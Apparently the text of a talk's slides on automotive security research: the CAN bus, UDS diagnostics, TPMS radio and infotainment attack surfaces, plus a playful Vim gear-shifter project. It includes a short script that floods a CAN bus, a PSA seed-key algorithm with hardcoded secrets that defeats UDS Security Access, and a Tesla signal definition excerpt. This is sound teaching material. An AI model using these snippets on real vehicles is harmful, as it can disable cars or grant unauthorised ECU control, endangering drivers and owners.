

Automotive Security



[~] whoami



djnn@penthertz.com

Occupation: intern @ penthertz u already know =)

Location: Paris


Favorite drink: Blond beer

Interests: Reverse-engineering, malware


Languages: C, Golang, Elixir, etc (learning Rust)

Contact: <https://djnn.sh/pgp>

not sponsored by
 penthertz



[~] man voiture



ANDY GREENBERG SECURITY JUL 21, 2015 10:00 AM

Hackers Remotely Kill a Jeep on the Highway—With Me in It

I was driving 70 mph on the edge of downtown St. Louis when the exploit began to take hold.

Gone in 61 seconds.


The keys were left near the front door.



7:54 PM - Oct 2, 2023 - 7.2M Views

<https://illmatics.com/Remote%20Car%20Hacking.pdf>

[~] man vroom-vroom



 Ian Tabor
@mintynet

No fcuking point having a nice car these days, came out early to find the front bumper and arch trim pulled off and even worse the headlight wiring plug had been yanked out, if definitely wasn't an accident, kerb side and massive screwdriver mark. Breaks in the clips etc. C&#ts



6:03 PM · Apr 24, 2022

<https://kentindell.github.io/2023/04/03/can-injection/>

[~] vim vroom.txt


schematics and PCB designs, [3D files](#), a [Vim plugin](#), and [client software](#) for turning a BMW shifter in to a Bluetooth keyboard that can control Vim.' It also includes a link to a 'Vim clutch' project and two photographs of the pink and black shifter device." data-bbox="77 210 425 847"/>

Initial V is a Bluetooth Keyboard specialized for controlling Vim. The key presses sent depend on Vim's state. The table below describes the key presses for each handle position according to the state of the editor:


	Park	Up	Down	Double Up	Double Down	Move Left	Left Up	Left Down	Move Right (back to center)
Normal Mode (Drive)	<code>:w</code> on a modified buffer, <code>:wq</code> on unmodified buffer	Up key	Down key	<code>i</code>	<code>o</code>	<code>CTRL -V</code>	Up Key	Down key	<code>ESC</code>
Insert Mode (Neutral)	<code>ESC</code>	Up key	Down key	Page Up	Page Down				

"Drive" on the handle means "Normal Mode" in Vim. "Neutral" on the handle means "Insert Mode" in Vim. It's not possible to move the handle to the left when the handle is in Neutral mode, so there are no key combinations. I'm not sure what mode in Vim would map to Reverse on the handle, so there's no way to transition to Reverse at the moment.

Saving a buffer in Normal mode will put the handle in to the "Park" position. The Park position behaves the same way as Drive (Normal mode in Vim) except that if you hit Park again, it will exit Vim.



[~] apktool d deez_nuts.jar




- remote startup
- open doors
- localisation
- ...

[~] `tpms_rx --source rtl_sdr`




TPMS Frequencies:
 $300\text{MHz} > f > 900\text{MHz}$





Share



Modulation Schemes



PRIVATE
230

Watch on  YouTube

[~] which IVI



WiFi, Bluetooth, CAN, ...




<https://hydrabus.com>

<https://pinoutguide.com/Car-Stereo-Other/>




[~] sudo modprobe vcan



Controller Area Network (CAN)

--> 1983 @ Bosch



[~] python3 trolling.py




```
#!/bin/env python3

# pip install python-can
import can

bus = can.Bus()
while True:
    msg = can.Message(3, data=[0 for _ in range(8)])
    bus.send(msg)
```

[~] pip install socketcan-uds



Example:



Functional Unit	SID	Available in Default Session	Available for HoE	Has Sub-Function	Service Name	Mnemonic
Diagnostic and Communication Management	\$10	✓		✓	Diagnostic Session Control	DSC
	\$11	✓		✓	ECU Reset	FR
	\$27			✓	Security Access	SA
	\$28			✓	Communication Control	CC
	\$3E	✓		✓	Tester Present	TP
	\$83			✓	Access Timing Parameter	ATP
	\$84				Secured Data Transmission	SDT
	\$85			✓	Control DTC Setting	CDTCS
	\$86	✓		✓	Response On Event	ROE
	\$87			✓	Link Control	LC
Data Transmission	\$22	✓			Read Data By Identifier	RDBI
	\$23	✓			Read Memory By Address	RMBA
	\$24	✓			Read Scaling Data By Identifier	HSDBI
	\$2A		✓		Read Data By Periodic Identifier	HDBPI
	\$2C	✓		✓	Dynamically Define Data Identifier	DDDI
	\$2F	✓			Write Data By Identifier	WDBI
	\$3D	✓			Write Memory By Address	WMBA
Stored Data Transmission	\$14	✓			Clear Diagnostic Information	CDICI
	\$19	✓	✓	✓	Read DTC Information	RDTCI
Input Output Control	\$2F		✓		Input Output Control By Identifier	IOGBI
Remote Activation of Routine	\$31	✓	✓	✓	Routine Control	RC
Upload Download	\$34				Request Download	RD
	\$35				Request Upload	RU
	\$36				Transfer Data	TD
	\$37				Request Transfer Exit	TEI

UDS service identifiers (SIDs)

	UDS SID (request)	UDS SID (response)	Service	Details
Diagnostic and Communications Management	0x10	0x50	Diagnostic Session Control	Control which UDS services are available
	0x11	0x51	ECU Reset	Reset the ECU ("hard reset", "key off", "soft reset")
	0x27	0x67	Security Access	Enable use of security-critical services via authentication
	0x28	0x68	Communication Control	Turn sending/receiving of messages on/off in the ECU
	0x29	0x69	Authentication	Enable more advanced authentication vs. 0x27 (PKI based exchange)
	0x3E	0x7E	Tester Present	Send a "heartbeat" periodically to remain in the current session
	0x83	0xC3	Access Timing Parameters	View/modify timing parameters used in client/server communication
	0x84	0xC4	Secured Data Transmission	Send encrypted data via ISO 15764 (Extended Data Link Security)
	0x85	0xC5	Control DTC Settings	Enable/disable detection of errors (e.g. used during diagnostics)
	0x86	0xC6	Response On Event	Request that an ECU processes a service request if an event happens
	0x87	0xC7	Link Control	Set the baud rate for diagnostic access
Data Transmission	0x22	0x62	Read Data By Identifier	Read data from targeted ECU - e.g. VIN, sensor data values etc.
	0x23	0x63	Read Memory By Address	Read data from physical memory (e.g. to understand software behavior)
	0x24	0x64	Read Scaling Data By Identifier	Read information about how to scale data identifiers
	0x2A	0x6A	Read Data By Identifier Periodic	Request ECU to broadcast sensor data at slow/medium/fast/stop rate
	0x2C	0x6C	Dynamically Define Data Identifier	Define data parameter for use in 0x22 or 0x2A dynamically
	0x2E	0x6E	Write Data By Identifier	Program specific variables determined by data parameters
	0x3D	0x7D	Write Memory By Address	Write information to the ECU's memory
DTCs	0x14	0x54	Clear Diagnostic Information	Delete stored DTCs
	0x19	0x59	Read DTC Information	Read stored DTCs, as well as related information
	0x2F	0x6F	Input Output Control By Identifier	Gain control over ECU analog/digital inputs/outputs
Upload/ Download	0x31	0x71	Routine Control	Initiate/stop routines (e.g. self-testing, erasing of flash memory)
	0x34	0x74	Request Download	Start request to add software/data to ECU (incl. location/size)
	0x35	0x75	Request Upload	Start request to read software/data from ECU (incl. location/size)
	0x36	0x76	Transfer Data	Perform actual transfer of data following use of 0x74/0x75
	0x37	0x77	Request Transfer Exit	Stop the transfer of data
	0x38	0x78	Request File Transfer	Perform a file download/upload to/from the ECU
		0x7F	Negative Response	Sent with a Negative Response Code when a request cannot be handled

[~] gcc uds-psa.c -o trolling

UDS Frame	D0	D1	D2	D3.....Dn(Optional)
Seed -Request (Tool → ECU)	27	xx(Seed_Sunfunc)		Application specific Data
Seed -Response (Tool ← ECU)	67	xx(Seed_Subfunc)		Seed_Value[n]
Key-Response (Tool → ECU)	27	zz(key_Subfunc)		Key_Value[n]
Response (If Key Verified) (Tool ← ECU)	67	zz(key_Subfunc)		Application specific Data

```


main  psa-seedkey-algorithm / algorithm.c
Ludwig Copyright notice

Code  Name  44 lines (37 loc) · 1.07 KB  Code 55% faster with GitHub Copilot

1  /*
2  Copyright 2019, Ludwig V., <https://github.com/ludwig-vs>
3  Original algorithm by Vouter Dolslag & Jason F., <https://github.com/prototux>
4
5  This program is free software: you can redistribute it and/or modify
6  it under the terms of the GNU General Public License as published by
7  the Free Software Foundation, either version 3 of the license, or
8  (at your option) any later version.
9
10 This program is distributed in the hope that it will be useful,
11 but WITHOUT ANY WARRANTY; without even the implied warranty of
12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 GNU General Public License at <http://www.gnu.org/licenses/> for
14 more details.
15
16 The above copyright notice and this permission notice shall be included in
17 all copies or substantial portions of the Software.
18 */
19
20 #include <inttypes.h>
21
22 // Transformation function with PSA not-so-secret seed
23 int16_t transform(uint8_t data_msb, uint8_t data_lsb, uint8_t sec[1])
24 {
25     int16_t data = (data_msb << 8) | data_lsb;
26     int32_t result = ((data % sec[0]) * sec[2]) - ((data / sec[0]) * sec[1]);
27     if (result < 0)
28         result += (sec[0] * sec[2]) + sec[1];
29     return result;
30 }
31
32 // Challenge response calculation for a given pin and challenge
33 // challenge (seed) is 4 bytes and pin (key) is 2 bytes
34 uint32_t compute_response(uint8_t pin[], uint8_t chg[])
35 {
36     // Still hardcoded secrets
37     int8_t sec_1[3] = {0x01, 0x0F, 0x0A};
38     int8_t sec_2[3] = {0xB1, 0x02, 0x0B};
39
40     // Compute each 16b part of the response, with the twist, and return it
41     int16_t res_msb = transform(pin[0], pin[1], sec_1) | transform(chg[0], chg[1], sec_2);
42     int16_t res_lsb = transform(chg[1], chg[2], sec_1) | transform(res_msb >> 8, res_msb & 0xFF, sec_2);
43     return (res_msb << 16) | res_lsb;
44 }

```

```
[~] git clone git@github.com:commaai/panda.git
```



```
225 BO_792 GTW_carstate: 8 GTW
226 SG_YEAR : 0|7@1+ (1,2000) [2000|2127] "Year" NEO
227 SG_CERRD : 7|1@1+ (1,0) [0|1] "" NEO
228 SG_MONTH : 0|4@1+ (1,0) [1|12] "Month" NEO
229 SG_DOOR_STATE_FL : 12|2@1+ (1,0) [0|3] "" NEO
230 SG_DOOR_STATE_FR : 14|2@1+ (1,0) [0|3] "" NEO
231 SG_SECOND : 16|6@1+ (1,0) [0|59] "s" NEO
232 SG_DOOR_STATE_RL : 22|2@1+ (1,0) [0|3] "" NEO
233 SG_HOUR : 24|5@1+ (1,0) [0|23] "h" NEO
234 SG_DOOR_STATE_RR : 20|2@1+ (1,0) [0|3] "" NEO
235 SG_DAY : 32|5@1+ (1,0) [0|31] "" NEO
236 SG_MINUTE : 40|6@1+ (1,0) [0|59] "min" NEO
237 SG_BOOT_STATE : 46|2@1+ (1,0) [0|3] "" NEO
238 SG_GTW_updateInProgress : 48|2@1+ (1,0) [0|3] "" NEO
239 SG_DOOR_STATE_FrontTrunk : 50|2@1+ (1,0) [0|3] "" NEO
240 SG_MCU_factoryMode : 52|1@1+ (1,0) [0|1] "" NEO
241 SG_MCU_transportModeOn : 53|1@0+ (1,0) [0|1] "" NEO
242 SG_BC_headLightLStatus : 55|2@0+ (1,0) [0|3] "" NEO
243 SG_BC_headLightRStatus : 57|2@0+ (1,0) [0|3] "" NEO
244 SG_BC_indicatorLStatus : 59|2@0+ (1,0) [0|3] "" NEO
245 SG_BC_indicatorRStatus : 61|2@0+ (1,0) [0|3] "" NEO
```

```
[~] sudo apt install python3 can-utils
```

Librairies Python


- python-can
- cantools
- scapy

Support Linux in-kernel

```
sudo modprobe vcan  
sudo ip link add dev vcan0 type vcan  
sudo ip link set up vcan0
```

```
import can  
  
bus = can.Bus(channel='vcan0', interface='socketcan')  
while True:  
    msg = can.Message(arbitration_id=0xc0ffee, data=[id, i, 0, 1, 3, 1, 4, 1], is_extended_id=False)  
    bus.send(msg)
```


[~] other protocols & resources



- XCP (Debug / diagnostics)
- FlexRay (communication bus)
- SOME-IP (protocol over IP)
- ...

- digital kaos
- motorcarsoft
- techniarabia
- autohacking
- msieur-lolo.fr
- dacianer
- medianav.ru

Thanks :)

Contacts:

<https://penthertz.com>

<https://djnn.sh>



To go further:

- hardware reversing (side-channel attacks, JTAG, FCC-IDs)
- RF Hacking (Bluetooth, Digital Audio Broadcasting, RDS, 4G/5G, ...)
- Weaponizing logs (Bluetooth pairing -> DLT)
- MiTM opportunities (Firmware Over-the-air, ...)